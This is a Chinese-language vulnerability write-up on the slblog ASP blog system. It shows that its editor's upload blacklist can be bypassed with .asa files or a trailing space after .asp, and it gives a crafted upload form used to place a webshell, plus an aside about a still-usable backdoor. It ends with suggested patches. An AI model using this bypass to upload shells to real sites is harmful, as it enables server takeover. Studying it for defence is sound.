作者:jackal 黑鹰程序简介: slblog(思玲blog), 某权威站点统计的第三大blog用户程序。 这个多用户Blog,刚发展起来的,更新很快,感觉像是oblog和missblog的结合体, 同时首创了Blog系统无限级分类和用户栏目的无限级分类,多功能在现编辑器。 但界面不是很美观,好在模板和程序分离,方便修改。 不过这个blog 程序中存在致命的漏洞,所有的版本包括官方站点都有此漏洞。 有点年头了.忽然想起来,就发布了吧.官方补上了漏洞-_-! 用的人也挺多的,不过以前留了个后门.很久了.好象还能用. 授人以渔,其实还是上传的漏洞.请耐心看完,开始: 刚拿到的时候还想看有没注入点,3M多,我懒,看了一下过滤(Slblog/Include/Slbcode.asp) --------------code--------------------- ’60 过滤字符串中的危险字符 function ReplaceBadChar(strChar) if strChar="" then ReplaceBadChar="" else ReplaceBadChar=replace(replace(replace(replace(replace(replace(replace(strChar,"’",""),"*",""),"?",""),"(",""),")",""),"〈",""),".","") end if end function ---------------------------------------- 够让人郁闷的.去掉了’ * ? ( ) 〈和.不想找是不是有人家没过滤的代码。 去看别的,从后台开始,一般人写后台比较宽松,因为我就是。汗~,觉得自己的密码足够强大,别人也进不来,还是因为我懒。 发文章那里有个很不错的在线编辑器,目的很明确,先找上传,漏洞也就出现了。嘿嘿。SLBlog\SLeditor\Upload.asp 我们来看一下.晕!只有一个"浏览"的按钮.看下提交到哪里? -------------------(1.jpg)------------------------- 〈form action="?act=save&sType=&TBlogID=0&sClass=" method="post" name="sform" enctype="multipart/form-data"〉 ------------------------------------------------- 缺3个函数,sType,可能是文件的类型,TBlogID为id,sClass可能为分类类别,我也不大清楚.想验证的话,自己抓个包.去看Upload.asp代码,看怎么过滤的. 〈!--#include FILE="inc/upfileClass.asp"--〉 无惧上传类,往后看: --------------------------------------------- sClass = Trim(Request.Querystring("sClass")) sType = Trim(Request.Querystring("sType")) TBlogID= Trim(Request.Querystring("TBlogID")) ---------------------------------------------- 这里接受3个变量.再往后看. sNoAllowExt = "asp|htm|html|shtml|dhtml|aspx|js|as|vbs|exe" 嘿嘿,有问题后,心情有点激动,再下面 ---------------------------------------------- if (Trim(Request.QueryString("act"))) = "save" then sBlogPath = TBlogID & "|" & DatePart("yyyy",now()) & "|" & DatePart("m",now()) Call actSave() else Call actList() end if ---------------------------------------------- act为save时,保存.去看看还有没验证的. ---------------------------------------------- Sub actSave() Set upfile = new upFileClass ’’建立上传对象 upfile.NoAllowExt=sNoAllowExt ’设置上传类型的黑名单 upfile.GetData (sNoAllowSize*1024) ’取得上传数据,限制最大上传10M ---------------------------------------------- 后面是保存文件的路径和名称,不看了.我的马能传上去就得了. 总结一下:要提交4个变量,/Upload.asp?act=save&TBlogID=1&sType=image&sClass=1 TBlogID生成文件的时候用,sType为文件类型,用过一次.别处好象没用. --------------------------------------- 〈% Select Case sType Case "flash" sAllowExt = "swf" end Select %〉 --------------------------------------- TBlogID生成的文件夹的时候用,空的时候默认为0. --------------------------------------- If TBlogID = "" Or Not Isnumeric(TBlogID) Then TBlogID=0 end if --------------------------------------- sClass没找到调用,不管拉.这么一看,好象3个变量都没什么用了. 上传的问题: 只是不能传asp,我们可以传asa,或者简单点直接在asp后加空格. 没了.真没了.有我也不看了!构造上传. ----------------------------------------- 〈form action="http://test.com/Blog/sleditor/Upload.asp?act=save&TBlogID=1&sType=image&sClass=1" method="post" name="form1" enctype="multipart/form-data"〉 〈input name="FileName" type="FILE" class="tx1" size="30"〉 〈input type="submit" name="Submit" value="上传"〉 〈/form〉 ----------------------------------------- 改下路径,上传asp+空格,成功.看下源文件. ------------------(2.jpg)--------------------- 〈script language="javascript"〉parent.UploadSaved(’1/2005/11/2005112420545773499.asp ’);history.back()〈/script〉〈script language="javascript"〉parent.imgIsUse(’2005112420545773499.asp ’);history.back()〈/script〉 ------------------------------------------- 文件保存在UploadFile下.路径是这样的: blog/UploadFile/1/2005/11/2005112420545773499.asp 补洞吧.简单点.就是UploadFile文件夹不允许执行asp. 安全点的是打上补丁.过滤掉空格和"."有了就跳到死. 给个例子,只要文件和后缀的.个数不同就错误. ------------------------------------------- FileName = Lcase(FileName) If Instr(FileName,".") 〈〉 InstrRev(FileName,".") Then msg="文件名中含有多个“.”!\n\n请修改文件名后再上传--BY JACKAL" FoundErr=true ------------------------------------------- bye~~